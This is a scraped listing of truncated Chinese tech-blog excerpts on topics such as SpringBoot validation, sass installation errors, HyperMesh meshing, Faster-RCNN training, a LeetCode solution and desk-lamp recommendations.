SpringBoot Validation不生效该怎么办&#xff1f; 确认maven依赖查看依赖关系并处理验证&#xff1a;校验生效&#xff0c;成功反思 能问出这个问题说明你已经使用了Null、NotEmpty等等等校验注解&#xff0c;但是没有生效&#xff0c;我也出现过这种情况&#xff0c;请看我修…

解析!文档扫描 SDK 中的高级图像处理技术

随着世界数字化&#xff0c;文档扫描已成为现代商业运营的关键&#xff0c;它使文档的存储、访问和管理更加便捷。然而&#xff0c;扫描图像的质量对于这些数字档案的有效性至关重要。高质量的扫描可确保文本清晰、数据准确捕获并且信息易于检索。 另一方面&#xff0c;质量差…

几乎跪着读完这本Transformer经典神书,震撼到爆!!

本书的目标是让您能够构建自己的语言应用程序。 涵盖了NLP中transformers的所有主要应用&#xff0c;每一章(除了少数例外)专门针对一个任务&#xff0c;结合一个实际的用例和数据集。每一章还介绍了一些额外的概念。 以下是我们将涉及的任务和主题的一个高级概述: 第一章&am…

学生护眼台灯哪个品牌比较好?性价比高的学生用台灯推荐

如今&#xff0c;随着近视在儿童中的普及率日益上升&#xff0c;这与学习压力以及频繁使用电子产品密切相关。一旦孩子患上近视&#xff0c;如果不注意用眼卫生&#xff0c;近视加深的速度会非常快&#xff0c;导致镜片越来越厚。因此&#xff0c;保持良好的用眼习惯对于预防近…

sass安装问题

首先直接安装 npm i sass 报错python&#xff0c;如上图 之后百度的方法&#xff0c;清除缓存再次安装&#xff08;删掉node_moudle&#xff09;,显示安装成功&#xff0c;但是运行还是会报错找不到sass模块 之后又百度了方法&#xff0c;要先安装cnpm&#xff0c;通过cnpm安装…

腾讯通用户必看:低成本平滑迁移方案,兼容Linux与移动端

一、腾讯通停更后用户面临的核心问题 自从腾讯通&#xff08;RTX&#xff09;停止更新并下架官网&#xff0c;许多用户失去了更新和技术支持的途径&#xff0c;同时不得不面对以下几大难题&#xff1a; 无法在移动端和Linux系统上使用&#xff1a;腾讯通仅支持Windows和Mac系…

HyperWorks实体网格划分

实体网格剖分 在 HyperMesh 中&#xff0c;使用 Solid Map 功能进行实体网格剖分。该面板如下图所示&#xff1a; 图 4-4 Solid Map 面板 通过 Solid Map Panel 进行实体网格剖分: • 通过主菜单栏选择 3D 页面 > solid map 。 • 通过下拉式菜单选择 Mesh > create…

移动剧院:流动艺术空间的声学革命—轻空间

在当今多元化的文化环境中&#xff0c;移动剧院作为一种新兴的演出形式&#xff0c;正在迅速崛起。它不仅提供了灵活多变的演出场地&#xff0c;更以其卓越的声学性能&#xff0c;为观众带来了沉浸式的视听体验。移动剧院的声学优势&#xff0c;使其成为各种艺术活动的理想选择…

基于丹摩云平台——Faster-RCNN 训练与测试指南

Faster-RCNN 训练与测试指南 前言 今天我们要来实现一个经典的目标检测模型&#xff1a;Faster-Rcnn。我们使用丹摩云平台来实现&#xff0c;这是个很强大的云端平台&#xff0c;功能众多&#xff0c;你可以投你所好去进行你想做的事情。 DAMODEL丹摩——专为AI打造的智算云…

力扣题解2306

大家好&#xff0c;欢迎来到无限大的频道。 今日继续给大家带来力扣题解。 题目描述&#xff08;困难&#xff09;&#xff1a; 公司命名 给你一个字符串数组 ideas 表示在公司命名过程中使用的名字列表。公司命名流程如下&#xff1a; 从 ideas 中选择 2 个 不同 名字&…

多校园信息付费发布顶置自定义表单小程序开源版开发

多校园信息付费发布顶置自定义表单小程序开源版开发 为校园管理和互动提供了强大的支持&#xff0c;包括用户端和运营后台两大部分。用户端允许学生和教职工方便地访问各种功能模块&#xff0c;而运营后台则使管理员能够高效地管理和配置系统。产品支持自定义模块和表单&#…

VSCode/VS2019#include头文件时找不到头文件:我的解决方法

0.前言 1.在学习了Linux之后&#xff0c;我平常大部分都使用本地的XShell或者VSCode连接远程云服务器写代码&#xff0c;CentOS的包管理器为我省去了不少繁琐的事情&#xff0c;今天使用vscode打开本地目录想写点代码发现#include头文件后&#xff0c;下方出现了波浪线&#…